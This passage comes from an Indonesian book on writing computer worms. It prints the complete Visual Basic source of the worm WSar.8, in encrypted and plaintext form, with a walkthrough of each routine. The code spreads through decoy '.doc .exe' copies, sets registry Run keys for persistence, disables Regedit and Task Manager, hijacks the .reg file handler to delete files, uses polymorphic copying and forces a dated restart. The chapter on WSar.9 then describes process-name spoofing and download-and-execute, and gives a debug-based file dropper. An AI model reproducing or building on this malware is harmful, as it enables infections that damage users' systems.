objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat. _ LeftIndent = 57 objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" . . .") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _

Bab 14. Worm WSar.8

Jasakom

226

Computer Worm 1 - Secret of Undeground Coding : Uncensored

"Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() End Sub Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = Decrypt(" .") NamaCantik(1) = Decrypt(" .") NamaCantik(2) = Decrypt(" .") NamaCantik(3) = Decrypt(" .") NamaCantik(4) = Decrypt(" .") NamaCantik(5) = Decrypt(" .") NamaCantik(6) = Decrypt(" .") NamaCantik(7) = Decrypt(" .") NamaCantik(8) = Decrypt(" .") NamaCantik(9) = Decrypt(" .") For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next i End Sub Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = Decrypt("") Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = Decrypt("") Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" And _ WinCheck(Decrypt(".")) = True Then End tmrSPOOL32_Timer() Unload(Me) akhir: End Sub

227

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End If End Sub Private Sub PayLoad() Restart() End Sub Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End If End Sub Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & Decrypt("\.")) = "" Or _ WinCheck(Decrypt(".")) = False Then PolyCopy(WormFile, SpecialFolder(0) & Decrypt("\.")) Shell(SpecialFolder(0) & Decrypt("\.")) End If If GetStringValue(Decrypt("__\" & _ "\\\\"), Decrypt("" & _ " ")) <> SpecialFolder(0) & Decrypt("\.") Then SetStringValue(Decrypt("__\\" & _ "\\\"), Decrypt(" " & _ ""), SpecialFolder(0) & Decrypt("\.")) End If If GetStringValue(Decrypt("__\" & _ "\\\\"), Decrypt("" & _ " ")) <> SpecialFolder(1) & Decrypt("\" & _ ".") Then SetStringValue(Decrypt("__\" & _ "\\\\"), Decrypt("" & _ " "), SpecialFolder(1) & Decrypt("\.")) End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = True End Sub

Bab 14. Worm WSar.8

Jasakom

228

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & Decrypt _ ("\.")) = "" Or WinCheck(Decrypt _ (".")) = False Then PolyCopy(WormFile, SpecialFolder(1) & Decrypt("\.")) Shell(SpecialFolder(1) & Decrypt("\.")) End If tmrSPOOL32.Enabled = True End Sub Private Sub RegKiller() On Error Resume Next CreateKey(Decrypt("__\\" & _ "\\\\")) If GetDWORDValue(Decrypt("__\" & _ "\\\\\"), _ Decrypt("")) <> 1 Then SetDWORDValue(Decrypt("__\" & _ "\\\\\"), _ Decrypt(""), 1) End If If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" Then SetStringValue(Decrypt("__\\" & _ "\\"), "", Decrypt(". / ") & _ """%1""") Else SetStringValue(Decrypt("__\\" & _ "\\"), "", Decrypt(". / ") _ & """%1""") End If SetStringValue(Decrypt("__\"), _ Decrypt(""), "") End Sub Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If

229

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination) Open Destination For Binary As #1 Source = Space$(LOF(1)) Get #1, , Source PoliStr = Mid(Source, 113, 4) Put #1, InStr(1, Source, PoliStr), RndNum Close #1 End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Sebagai perbandingan berikut ini adalah source code pada object frmWSar8 yang belum terenkripsi.
'WSar.8 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function

Bab 14. Worm WSar.8

Jasakom

230

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & "\systask.exe") <> "" Then WinExit("systask.exe") Kill(SpecialFolder(1) & "\systask.exe") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Pesin") End If 'Kangen removal If Dir(SpecialFolder(1) & "\ccapps.exe") <> "" Then WinExit("ccapps.exe") WinExit("kangen.exe") Kill(SpecialFolder(1) & "\ccapps.exe") Kill(SpecialFolder(1) & "\kangen.exe") Kill(SpecialFolder(1) & "\winlog.*") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Kangen") End If End Sub Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = "SETIA HINGGA AKHIR MASA" objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph()

231

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = "Malam ini ku bernyanyi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hanya gemintang menemani" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Memberiku sinaran" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Penyejuk hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kulangkahkan kakiku ini" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Doakanlah ku kan kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Tuk wujudkan semua harapan" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Cinta dan kasih abadi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Text = "Relakan sayang kepergianku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hapuslah air matamu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kuberjanji setulus hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kukan segera kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kuberi selembar fotoku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sebagai pengobat rindu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()

Bab 14. Worm WSar.8

Jasakom

232

Computer Worm 1 - Secret of Undeground Coding : Uncensored

objWord.Selection.Text = "Kuberjanji kan tetap setia" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sampai akhir masa . . ." objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() End Sub Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = "puisi cinta.doc" NamaCantik(1) = "kangen terpendam.doc" NamaCantik(2) = "kenangan terlupa.doc" NamaCantik(3) = "kasih dalam duka.doc" NamaCantik(4) = "musuh tersayang.doc" NamaCantik(5) = "indahnya selingkuh.doc" NamaCantik(6) = "korban setia.doc" NamaCantik(7) = "syair bercinta.doc" NamaCantik(8) = "rindu terlarang.doc" NamaCantik(9) = "cinta segi empat.doc" For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next i End Sub

233

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = "spool32" Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = "winword" Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & "\WINWORD.EXE") <> "" And _ WinCheck("WINWORD.EXE") = True Then End tmrSPOOL32_Timer() Unload(Me) akhir: End Sub Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End If End Sub Private Sub PayLoad() Restart() End Sub Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End If End Sub Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & "\SPOOL32.EXE") = "" Or WinCheck _ ("SPOOL32.EXE") = False Then PolyCopy(WormFile, SpecialFolder(0) & "\SPOOL32.EXE") Shell(SpecialFolder(0) & "\SPOOL32.EXE") End If

Bab 14. Worm WSar.8

Jasakom

234

Computer Worm 1 - Secret of Undeground Coding : Uncensored

If GetStringValue("HKEY_LOCAL_MACHINE\Software\Micr" & _ "osoft\Windows\CurrentVersion\Run", "Printer Cpl") <> _ SpecialFolder(0) & "\SPOOL32.EXE" Then SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "Printer Cpl", SpecialFolder _ (0) & "\SPOOL32.EXE") End If If GetStringValue("HKEY_CURRENT_USER\Software\Micros" & _ "oft\Windows\CurrentVersion\Run", "Microsoft Word") <> _ SpecialFolder(1) & "\WINWORD.EXE" Then SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Run", "Microsoft Word", _ SpecialFolder(1) & "\WINWORD.EXE") End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = True End Sub Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & "\WINWORD.EXE") = "" _ Or WinCheck("WINWORD.EXE") = False Then PolyCopy(WormFile, SpecialFolder(1) & "\WINWORD.EXE") Shell(SpecialFolder(1) & "\WINWORD.EXE") End If tmrSPOOL32.Enabled = True End Sub Private Sub RegKiller() On Error Resume Next CreateKey("HKEY_CURRENT_USER\Software\Microsoft\Win" & _ "dows\CurrentVersion\Policies\System") If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _ "rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _ "egistryTools") <> 1 Then SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 1) End If If Dir(SpecialFolder(1) & "\cmd.exe") <> "" Then SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "cmd.exe /c del " & """%1""") Else SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "command.com /c del " & """%1""") End If SetStringValue("HKEY_CLASSES_ROOT\exefile", "NeverSho" & _ "wExt", "") End Sub

235

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination) Open Destination For Binary As #1 Source = Space$(LOF(1)) Get #1, , Source PoliStr = Mid(Source, 113, 4) Put #1, InStr(1, Source, PoliStr), RndNum Close #1 End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Bab 14. Worm WSar.8

Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Windows. Procedure WormFighter memeriksa file systask.exe pada direktori System Windows yang merupakan file dari worm lokal Pesin, jika ditemukan procedure akan memanggil function WinExit untuk mematikan proses file tersebut kemudian langsung menghapusnya. Worm kemu-

Jasakom

236

Computer Worm 1 - Secret of Undeground Coding : Uncensored

dian menampilkan sebuah kotak pesan sebagai berikut:

Kotak pesan serupa akan tampil jika WSar.8 menemukan file dari worm Kangen dan memperlakukan hal yang sama seperti halnya pada worm Pesin.

237

Jasakom

Bab 14. Worm WSar.8

Procedure OpenApp akan membuka aplikasi Microsoft Word dengan teks ber-animasi lengkap, perhatikan gambar disamping ini.

Computer Worm 1 - Secret of Underground Coding : Uncensored

Procedure Worming akan membuat array sebanyak 10 data yang akan digunakan sebagai nama file. Worm kemudian memeriksa direktori pada ListBox lstDir dengan mencari file yang berakhiran "doc. exe". Apabila file worm tidak ditemukan maka worm akan membuat salinannya ke direktori tersebut dengan salah satu nama file yang dipilih secara acak. Procedure Form_Load dijalankan saat pertama kali file worm dieksekusi. Sebelumnya procedure melakukan pemeriksaan apakah file tersebut sudah terproses atau tidak, jika ternyata sudah terproses maka worm langsung diakhiri, jika tidak maka langsung memanggil procedure RegKiller. Jika nama file utama adalah "spool32" maka worm akan disembunyikan dari jendela task list, kemudian mengatur properti Enabled pada object tmrSPOOL32 menjadi true, dan langsung mengakhiri sub procedure. Jika nama file utama adalah "winword" maka worm mengatur properti Enabled untuk object tmrWINWORD, tmrDir dan tmrIseng menjadi true, dan langsung mengakhiri sub procedure. Selain itu worm memanggil procedure OpenApp dan memeriksa apakah file WINWORD.EXE pada direktori System Windows sudah ada dan sedang terproses, jika ya maka langsung mengakhiri proses file utama, tetapi jika tidak ditemukan maka worm akan memanggil procedure tmrSPOOL32_Timer, kemudian mengakhiri proses file utama. Procedure tmrDir_Timer memanggil function GetDir dan menempatkan hasilnya pada ListBox lstDir, kemudian memanggil procedure Worming. Jika tanggal sekarang adalah 13 Oktober maka worm mengatur properti Enabled untuk object tmrIseng menjadi false, dan segera memanggil procedure Payload. Procedure tmrIseng_Timer memanggil function WildMouse dengan kondisi jika detik sekarang lebih besar dari 52 maka WildMouse bernilai true, selain itu WildMouse bernilai false. Procedure tmrWINWORD_Timer merupakan implementasi dari metode Watcher yang secara berkesinambungan melakukan pemeriksaan. Adapun pemeriksaan yang dilakukan adalah: Bab 14. Worm WSar.8

Jasakom

238

Computer Worm 1 - Secret of Undeground Coding : Uncensored

1. Jika file SPOOL32.EXE pada direktori system tidak ada atau tidak terproses maka procedure membuat salinan file utama ke direktori system dengan nama file tersebut dan langsung mengeksekusinya. 2. Jika procedure tidak mendapatkan nilai "Printer Cpl" dengan data alamat file worm SPOOL32.EXE pada key registry "HKEY_LOCAL_ MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut. 3. Jika procedure tidak mendapatkan nilai "Microsoft Word" dengan data alamat file worm WINWORD.EXE pada key registry "HKEY_ LOCAL_MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut. Kemudian procedure tmrWINWORD_Timer memanggil procedure WormFighter dan menghentikan proses file taskmgr.exe. Procedure tmrSPOOL32_Timer melakukan hal yang sama seperti pada procedure tmrWINWORD_Timer hanya saja procedure ini diberikan tugas yang lebih sedikit yaitu melakukan pemeriksaan terhadap keberadaan dan status proses file WINWORD.EXE pada direktori Windows, jika tidak ditemukan atau tidak terproses maka procedure akan membuat salinan file utama ke direktori Windows dengan nama file tersebut dan langsung mengeksekusinya. Procedure RegKiller bertugas untuk memastikan aplikasi Registry Editor tidak dapat digunakan oleh user, kemudian memanipulasi suatu nilai registry yang akan menghapus file *.reg jika user bermaksud untuk mengimpor suatu nilai registry secara instant dengan mengklik ganda file tersebut. Function PolyCopy adalah function yang berguna sebagai pengganti function FileCopy untuk kepentingan metode polymorphic, dengan mengubah 4 byte pada byte ke 112, 113, 114 dan 115 ("mode") dengan 4 angka yang diambil secara acak. Module mdlCrypt memuat dua function yaitu function Encrypt yang berguna untuk mengenkripsi plain text menjadi cipher text, kemudian function Decrypt yang mengubah cipher text menjadi plain text semula.

239

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

Module mdlDir memuat tiga function dengan function utama function GetDir yang berguna untuk mendapatkan direktori aktif pada aplikasi Windows Explorer dan menempatkannya pada suatu ListBox tertentu. Module mdlRestart berfungsi untuk me-restart komputer, module mdlWildMouse berfungsi untuk membuat animasi pantulan-pantulan pointer mouse pada layar. Module mdlWinCheck berfungsi untuk memeriksa status proses suatu file. Catatan untuk WSar.8: berikut ini adalah contoh lain yang bisa diaplikasikan pada procedure OpenApp untuk membuka aplikasi Microsoft Excel:
Private Sub OpenApp() On Error Resume Next Dim objExcel As Object objExcel = CreateObject("Excel.Application") objExcel.Visible = True objExcel.WorkBooks.Add() objExcel.Sheets("Sheet2").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Sheets("Sheet3").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Cells.Select() objExcel.Selection.Interior.ColorIndex = 1 objExcel.Selection.Interior.Pattern = 1 objExcel.Selection.Font.ColorIndex = 2 objExcel.Columns.Select() objExcel.Selection.ColumnWidth = 1.43 objExcel.Selection.RowHeight = 11.25 objExcel.Range("AP4:AQ5;AQ3:AS3;AS4:AT5;AQ6:" & _ "AS6;AP7:AQ9;AS7:AT9;AQ10:AS10;E3:F4;F5:" & _ "G8;G9:H10;H8:I8;I4:I8;J3:J5;K4:K8;L8:M1" & _ "0;M5:N8;N3:O4;P4:Q6;Q3:T3;T4:U4;R6:S7;T" & _ "7:U9;P9:Q9;Q10:T10;W8:X10;X5:Y8;Y3:AA4;" & _ "AA5:AB8;AB8:AC10;Z8;AE3:AF10;AG3:AI3").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Range("AI4:AJ6;AG7:AI7;AH8:AI8;AI9;" & _ "AJ9;AJ10:AK10;AM9:AN10").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Cells.Select() With objExcel.Selection.Borders(3) .LineStyle = 1 .ColorIndex = 1 End With

Bab 14. Worm WSar.8

Jasakom

240

Computer Worm 1 - Secret of Undeground Coding : Uncensored

objExcel.Cells.Select() With objExcel.Selection.Borders(1) .LineStyle = 1 .ColorIndex = 1 End With objExcel.Range("E12:AT12").Select() objExcel.Selection.Merge() objExcel.Selection.HorizontalAlignment = 3 objExcel.Selection.Interior.ColorIndex = 2 objExcel.Rows("12:12").RowHeight = 21.75 objExcel.Selection.Font.Bold = True objExcel.Range("E12:AT12").Select() objExcel.ActiveCell.FormulaR1C1 = "B R I N G" & _ " T H E T R U T H T O Y O U R H O M E" With objExcel.ActiveCell.Font .Name = "Arial Black" .Size = 14 .ColorIndex = 1 End With objExcel.Sheets("Sheet1").Select() objExcel.Sheets("Sheet1").Name = "By Achmad Darmal" objExcel.ActiveSheet.Protect(DrawingObjects:= _ True, Contents:=True, Scenarios:=True) End Sub

241

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 15 WORM WSar.9

orm dasar 9 menggunakan beberapa metode yang terbilang masih baru di awal tahun 2006. WSar.9 bukan saja akan menghilang dari Task List, tetapi juga memanipulasi Tab Processes pada Task Manager Windows 2000/XP sehingga WSar.9 dapat mengubah nama proses worm menjadi salah satu nama proses pada system seperti "EXPLORER" atau "SVCHOST" yang tentunya tidak akan mencurigakan user. Bab 15. Worm WSar.9 Sebaliknya, WSar.9 dapat mengubah nama proses "EXPLORER" atau "SVCHOST" asli menjadi nama proses yang berbeda misalnya "Ini Worm Loh" yang akan meyakinkan user bahwa file tersebut adalah worm, mengapa? karena system komputer akan shutdown atau restart dengan sendirinya jika user mematikan proses tersebut yang sebenarnya adalah proses "EXPLORER" atau "SVCHOST" asli. File launcher WSar.9 menggunakan nama yang berbeda untuk setiap Windows startup, hal ini bertujuan agar keberadaan worm tidak terancam oleh program-program seperti aplikasi antivirus, yang menggunakan metode scanning pada nama file.

243

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Worm ini juga melakukan aksi pemblokiran jika user mengakses situs yang mengandung suatu string tertentu pada address-nya, dengan langsung menutup aplikasi browser-nya. Dalam hal ini aplikasi browser yang dapat diblokir adalah Internet Explorer dan Netscape. Pada saat tertentu WSar.9 akan men-download suatu file pada situs tertentu dan langsung mengeksekusinya. Pada tahun 2004, metode ini banyak digunakan worm writer untuk me-release varian baru dan sebagian lagi worm writer memanfaatkan metode ini untuk menyisipkan suatu backdoor. WSar.9 termasuk worm yang terkesan terbuka dan pamer, karena saat WSar.9 menginfeksi suatu system, WSar.9 akan memenuhi komputer tersebut dengan icon bergambar hati. WSar.9 tidak hanya memanipulasi icon My Computer seperti yang dilakukan oleh worm Kangen, tetapi juga pada My Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe".

15.1 DROP FILE METHODE


Metode Drop File adalah suatu metode yang digunakan untuk mengekstrak suatu file tertentu dari file utama. Banyak sekali cara yang dapat digunakan untuk metode Drop File ini dan umumnya cara tersebut selalu diakhiri dengan menggunakan fasilitas debug pada Windows. Contoh berikut ini bertujuan untuk meng-drop file vbs dengan nama WSar.vbs pada drive C dengan isi file sebagai berikut:
on error resume next for i = 1 to 10 msgbox "WSar.9 Was Here" next

Bab 15. Worm WSar.9

Berikut ini adalah contoh procedure yang dapat digunakan dalam pengaplikasian metode Drop File.

Jasakom

244

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub DropFile() On Error Resume Next Dim MyScript, MyBatch, MyFile As String MyScript = "C:\WSarScript.wsr" MyFile = "C:\WSar.vbs" Open MyScript For Output As #1 Print #1, "N " & MyFile Print #1, "E 0100 6F 6E 20 65 72 Print #1, "E 0110 6E 65 78 74 0D Print #1, "E 0120 74 6F 20 31 30 Print #1, "E 0130 53 61 72 2E 39 Print #1, "E 0140 0A 6E 65 78 74 Print #1, "RCX" Print #1, "45" Print #1, "W" Print #1, "Q" Close #1 MyBatch = "C:\WSarBatch.bat" Open MyBatch For Output As #1 Print #1, "@echo off" Print #1, "debug < " & MyScript Print #1, "del " & MyScript Close #1 Shell(MyBatch, vbNormalFocus) End Sub

72 6F 0A 66 0D 0A 20 57 0D"

72 6F 6D 61

20 72 73 73

72 20 67 20

65 69 62 48

73 20 6F 65

75 3D 78 72

6D 20 20 65

65 31 22 22

20" 20" 57" 0D"

Pada saat procedure DropFile dieksekusi, program akan membuat file "C:\WSarScript.wsr" dengan isi file sebagai berikut:
N C:\WSar.vbs E 0100 6F 6E 20 E 0110 6E 65 78 E 0120 74 6F 20 E 0130 53 61 72 E 0140 0A 6E 65 RCX 45 W Q 65 74 31 2E 78 72 0D 30 39 74 72 0A 0D 20 0D 6F 66 0A 57 72 6F 6D 61 20 72 73 73 72 20 67 20 65 69 62 48 73 20 6F 65 75 3D 78 72 6D 20 20 65 65 31 22 22 20 20 57 0D

Kemudian membuat file batch "C:\WSarBatch.bat" dengan isi file sebagai berikut:
@echo off debug < C:\WSarScript.wsr del C:\WSarScript.wsr

245

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Procedure kemudian mengeksekusi file "C:\WSarBatch.bat", yang menggunakan fasilitas debug untuk menghasilkan sebuah file baru dari file script "C:\WSarScript.wsr", dengan nama file "C:\WSar.vbs" dan dengan isi file sebagai berikut:
on error resume next for i = 1 to 10 msgbox "WSar.9 Was Here" next

